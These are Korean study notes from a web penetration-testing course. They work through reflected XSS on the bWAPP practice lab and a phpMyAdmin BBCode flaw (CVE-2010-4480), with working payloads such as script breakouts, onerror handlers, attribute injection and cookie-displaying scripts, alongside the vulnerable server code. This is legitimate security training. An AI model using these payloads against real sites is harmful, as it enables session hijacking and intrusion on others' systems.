출처
인프런, 비박스를 활용한 웹 모의해킹 완벽 실습 15강 https://www.inflearn.com/course/%EB%B9%84%EB%B0%95%EC%8A%A4-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%8B%A4%EC%8A%B5/
XSS - Reflected
- 취약한 매개변수에 악의적인 HTML 코드를 삽입하는 공격
- HTML 태그로 악의적인 사이트에 연결하거나 악성 파일을 다운로드 하도록 유도
XSS - Reflected (GET)(Low)
- First name:
<script>alert(1)</script>
, Last name:<script>document.write(document.cookie)</script>
XSS - Reflected (POST)(Low)
- First name:
<script>alert(1)</script>
, Last name:<script>document.write(document.cookie)</script>
BurpSuite로 값 변경
- 값을 다음과 같이 변경
XSS - Reflected (JSON) (Low)
- test를 입력해주면 다음과 같이 뜸
페이지 소스
<script>
var JSONResponseString = '{"movies":[{"response":"test??? Sorry, we don't have that movie :("}]}';
// var JSONResponse = eval ("(" + JSONResponseString + ")");
var JSONResponse = JSON.parse(JSONResponseString);
document.getElementById("result").innerHTML=JSONResponse.movies[0].response;
</script>
- 입력한 값을 자바스크립트로 출력하는 것을 알 수 있음
- 따라서 다음과 같이 스크립트를 닫는 작업으로 무시할 수 있음
</script><script>alert(1)</script>
- 당연히 High에서는 안 됨
- 다음과 같이 소스코드로 방어되어 있음
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
// Retrieves the movie title
$title = $_GET["title"];
}
else
{
$title = xss_check_3($_GET["title"]);
}
XSS - Reflected (AJAX/JSON)(Low)
<script>alert(1)</script>
를 입력하면 아무것도 출력이 되지 않음
페이지 소스 확인
function process()
{
// Proceeds only if the xmlHttp object isn't busy
if(xmlHttp.readyState == 4 || xmlHttp.readyState == 0)
{
// Retrieves the movie title typed by the user on the form
// title = document.getElementById("title").value;
title = encodeURIComponent(document.getElementById("title").value);
// Executes the 'xss_ajax_1-2.php' page from the server
xmlHttp.open("GET", "xss_ajax_2-2.php?title=" + title, true);
// Defines the method to handle server responses
xmlHttp.onreadystatechange = handleServerResponse;
// Makes the server request
xmlHttp.send(null);
}
else
// If the connection is busy, try again after one second
setTimeout("process()", 1000);
}
- 내부에서 xss_ajax_2-2.php를 호출함을 알 수 있음
- BurpSuite에서 이를 확인할 수 있음
- URL:
http://192.168.190.143/bWAPP/xss_ajax_2-2.php?title=%3Cscript%3Ealert(1)%3C%2Fscript%3E
- ajax_2-1.php는 문제가 없는데 내부에서 호출한 ajax_2-2.php가 문제가 있는 것
XSS - Reflected (AJAX/JSON)(Medium)
- Low와 같은 URL을 입력해도 alert가 동작하지 않음
- 하지만 이미지 태그를 넣고 onerror로 스크립트를 동작하게 하면 alert가 동작함
<img src=x onerror='alert(1)'>
XSS - Reflected (AJAX/JSON) 서버 코드
if($_COOKIE["security_level"] == "1")
{
// Generates the JSON output
header("Content-Type: text/json; charset=utf-8");
}
// Generates the output depending on the movie title received from the client
if(in_array(strtoupper($title), $movies))
echo '{"movies":[{"response":"Yes! We have that movie..."}]}';
else if(trim($title) == "")
echo '{"movies":[{"response":"HINT: our master really loves Marvel movies :)"}]}';
else
echo '{"movies":[{"response":"' . $title . '??? Sorry, we don\'t have that movie :("}]}';
}
security_level == 1
(medium)일 때는 헤더를 정의해줘서 스크립트가 통하지 않았던 것
XSS - Reflected (Eval)(Low)
- URL:
http://192.168.190.143/bWAPP/xss_eval.php?date=Date()
에서date=Date()
가 취약 http://192.168.190.143/bWAPP/xss_eval.php?date=eval(document.write(alert(1)))
을 하면 XSS 동작
XSS - Reflected (Eval)(High)
- URL에 Low와 같은 주소를 입력하면 실행이 안 됨
XSS - Reflected (Eval) 서버 코드
<?php
if(isset($_GET["date"]))
{
if($_COOKIE["security_level"] == "2")
{
if($_GET["date"] != "Date()")
{
echo "<p><font color=\"red\">Invalid input detected!</font></p>";
}
else
{
?>
phpMyAdmin BBCode Tag XSS(Low)
- CVE-2010-4480
- BBcode로 XSS가 실행되듯이 동작하게 할 수 있음
phpmyadmin
- php 관련 설정을 하는 사이트
- URL:
http://192.168.190.143/phpmyadmin/
- php 버전이 낮아 취약점이 존재
- URL:
http://192.168.190.143/phpmyadmin/error.php?type=test1234&error=test4321
주소에 들어가면 다음과 같은 창이 뜸
BBcode 추가
- 이전에 만들어둔 attack.html에 접속하도록 하게 함
attack.html
<script>alert(document.cookie)</script>
- URL:
http://192.168.190.143/phpmyadmin/error.php?type=test1234&error=test4321[a@http://192.168.190.143/bWAPP/attack.html@]click[/a]
- 클릭을 하면
XSS - Reflected (PHP_SELF)
<script>document.write(document.cookie)</script>
를 넣으면 끝
PHP_SELF
- 세션은 유저마다 변수가 다름
- PHP_SELF는 PHP의 서버 단위에서 전역변수로 사용
<h1>XSS - Reflected (PHP_SELF)</h1>
<p>Enter your first and last name:</p>
<form action="<?php echo xss(($_SERVER["PHP_SELF"]));?>" method="GET">
<p><label for="firstname">First name:</label><br />
<input type="text" id="firstname" name="firstname"></p>
<p><label for="lastname">Last name:</label><br />
<input type="text" id="lastname" name="lastname"></p>
<button type="submit" name="form" value="submit">Go</button>
</form>
- form의 action에 PHP_SELF가 존재
- 웹페이지의 소스를 보면 다음과 같음
<form action="/bWAPP/xss_php_self.php" method="GET">
<p><label for="firstname">First name:</label><br />
<input type="text" id="firstname" name="firstname"></p>
<p><label for="lastname">Last name:</label><br />
<input type="text" id="lastname" name="lastname"></p>
<button type="submit" name="form" value="submit">Go</button>
</form>
- URL:
192.168.190.143/bWAPP/xss_php_self.php/"/><script>alert(1)</script>
- PHP_SELF 자체는 취약할 수 있으니 조심
XSS - Reflected (HREF)
- Name을 입력하고 넘어가면 다음과 같은 페이지가 뜸
- 웹페이지 소스를 보면 다음과 같음
<tr height="30">
<td>G.I. Joe: Retaliation</td>
<td align="center">2013</td>
<td>Cobra Commander</td>
<td align="center">action</td>
<td align="center"> <a href=xss_href-3.php?movie=1&name=ming&action=vote>Vote</a></td>
</tr>
<tr height="30">
<td>Iron Man</td>
<td align="center">2008</td>
<td>Tony Stark</td>
<td align="center">action</td>
<td align="center"> <a href=xss_href-3.php?movie=2&name=ming&action=vote>Vote</a></td>
</tr>
- href에 닉네임이 들어가기 때문에 스크립트를 삽입할 수 있음
Ming onmouseover=alert("xss") a
를 삽입하고 Vote에 마우스를 올리면 다음과 같은 결과가 나옴
- 이렇게 자바스크립트를 띄우는 것에 그치지 말고 이를 활용하는 법도 연구해볼 것
Comments